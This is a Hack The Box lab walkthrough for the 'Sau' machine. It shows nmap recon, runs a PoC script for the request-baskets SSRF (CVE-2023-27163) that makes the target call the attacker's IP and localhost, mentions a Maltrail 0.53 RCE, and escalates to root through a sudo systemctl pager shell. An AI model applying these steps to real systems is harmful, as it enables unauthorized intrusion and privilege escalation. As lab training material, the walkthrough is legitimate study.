HTB Machines Dec 31, 2023 · 6 min read

HTB - Sau

Walkthrough of the Sau machine from Hack The Box

#Nmap#SSRF#Request Baskets#CVE-2023-27163#Maltrail#Sudoers#Systemctl#GTFOBins#Less
HTB - Sau

Summary

Sau starts with a web application hosted on port 55555/TCP which appears to be a request-baskets application, version 1.2.1, vulnerable to SSRF (CVE-2023-27163). We use the SSRF to communicate with localhost on port 80/TCP, which runs Maltrail version 0.53, vulnerable to an RCE that gives us an initial shell as the puma user. The puma user is in the sudoers group, allowed to run a specific systemctl command as root, which lets us gain root access by abusing the less pager that systemctl uses by default.

Machine Info

   
Box Name Sau
OS
Difficulty Easy
Graph
Points 20
Release Date 08 Jul 2023
Retire Date 06 Jan 2024

Recon

Nmap

Using Nmap to enumerate all open ports and services by doing this on two phases to speed things up :

  • Phase 1 : Make a simple scan to check for all opened TCP ports with high rate of checking port equal to 10000.
  • Phase 2 : After identify the open ports start the sec phase to fingerprint (services, versions, etc) for each open port.
# Fast scan to check open ports
nmap -p- --min-rate 10000 10.10.11.224
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-31 13:00 EST
Warning: 10.10.11.224 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.224
Host is up (0.11s latency).
Not shown: 57584 closed tcp ports (conn-refused), 7949 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    filtered  http
55555/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 34.11 seconds

# Detailed Scan for specific open ports
nmap -p22,55555 -A -sC 10.10.11.224
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-31 13:02 EST
Nmap scan report for 10.10.11.224
Host is up (0.34s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
55555/tcp open  unknown
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 31 Dec 2023 18:03:33 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Sun, 31 Dec 2023 18:02:56 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Sun, 31 Dec 2023 18:02:58 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.94SVN%I=7%D=12/31%Time=6591ACD0%P=x86_64-pc-linux-gnu
SF:%r(GetRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/ht
SF:ml;\x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Sun,\x2031\x20Dec
SF:\x202023\x2018:02:56\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=
SF:\"/web\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x
SF:20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnectio
SF:n:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\
SF:x20200\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Sun,\x2031\x20Dec
SF:\x202023\x2018:02:58\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPReq
SF:uest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pl
SF:ain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Requ
SF:est")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x2
SF:0text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad
SF:\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
SF:r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\
SF:r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,
SF:67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\
SF:x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")
SF:%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Opt
SF:ions:\x20nosniff\r\nDate:\x20Sun,\x2031\x20Dec\x202023\x2018:03:33\x20G
SF:MT\r\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20the\x2
SF:0name\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{1,250
SF:}\$\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 125.89 seconds

nmap finds the following TCP ports:

  • SSH - 22
  • HTTP - 55555

HTTP - TCP 55555

Request-Baskets

The home page of the website is reveal that it’s running a request-baskets application and version of that service is 1.2.1

Home Page

So since we have the name of the application and the version of it so let’s try to find if this version of the application having any kind of vulnerability which we can use. As we can see I find out that this version is vulnerable to an SSRF attack.

SSRF CVE-2023-27163

Using the following exploit bash script to exploit the SSRF vulnerability

(kali㉿0xRyuzak1)-[~/HTB/HTB Machines/sau/CVE-2023-27163]─$ ./CVE-2023-27163.sh http://10.10.11.224:55555/ http://10.10.16.32/
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163

> Creating the "xwkbfp" proxy basket...
> Basket created!
> Accessing http://10.10.11.224:55555/xwkbfp now makes the server request to http://10.10.16.32/.
> Authorization: Y0TC2awtfgwNv0w9zhxY5lmLyOhcPY9i0RlaPfprVKu6

Now when we open the link with the basket ID which we create we find out that the target server make a request to our attacker machine

What the Script do is creating a request basket and adjust its settings as following

  • forward_url : This will be equal to the attacker server
  • insecure_tls : Set to false (This to check the SSL Cert since we will use http target server so it will not matter)
  • proxy_response : Set to true will send response of the forwarded server back to our client
  • expand_path : Set to true makes forward_url path expanded when original http request contains compound path.

So now let’s try using this SSRF to accessing any internal services on the target server .

Internal Service - TCP 80

As we found before we got from the nmap result that port 80 is filtered so maybe we cannot communicate with it from outside until we have an help from within the network in which that service is running on. So let’s try this

(kali㉿0xRyuzak1)-[~/HTB/HTB Machines/sau/CVE-2023-27163]─$ ./CVE-2023-27163.sh http://10.10.11.224:55555/ http://127.0.0.1/
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163

> Creating the "qjnouh" proxy basket...
> Basket created!
> Accessing http://10.10.11.224:55555/qjnouh now makes the server request to http://127.0.0.1/.
> Authorization: HNPgJCphiRR6TBTkafrGxeOo3ylO69104-DpMMnA8it2

As we can see we managed to communicate with port 80 on localhost

Maltrail RCE

As we can see the service which running on is Maltrail of version 0.53 so again let’s try to find if this version of the application having any kind of vulnerability which we can use and as we can see we find out that this version is vulnerable to an RCE

Shell as PUMA

Now using this script we can manage to gain an RCE on our target machine as we can see

so now we can get user.txt flag

puma@sau:/opt/maltrail$ cat ~/user.txt
d5611f8259dd********************

Shell as Root

Enumeration

Sudoers

Check if puma user have permissions to run sudo

puma@sau:/opt/maltrail$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

Systemctl Priv Escalation

It looks like we can check the status of the trail.service.

So let’s check GTFOBins to see if there is some kind of ways to get a root shell from systemctl command when run using sudo

As we can see this invokes the default pager, which is likely to be use less so using !sh we can drop us a shell from it as a root.

Now as we can see since we got a root access we can get the root.txt flag content

root@sau:~# cat root.txt
201bad8f2582**********************
More in HTB Machines
HTB Machines

HTB - Cybermonday

Walkthrough of the Cybermonday machine from Hack The Box

Dec 05, 2023 34 min read
HTB Machines

HTB - Pilgrimage

Walkthrough of the Pilgrimage machine from Hack The Box

Nov 25, 2023 11 min read
HTB Machines

HTB - Broker

Walkthrough of the Broker machine from Hack The Box

Nov 09, 2023 6 min read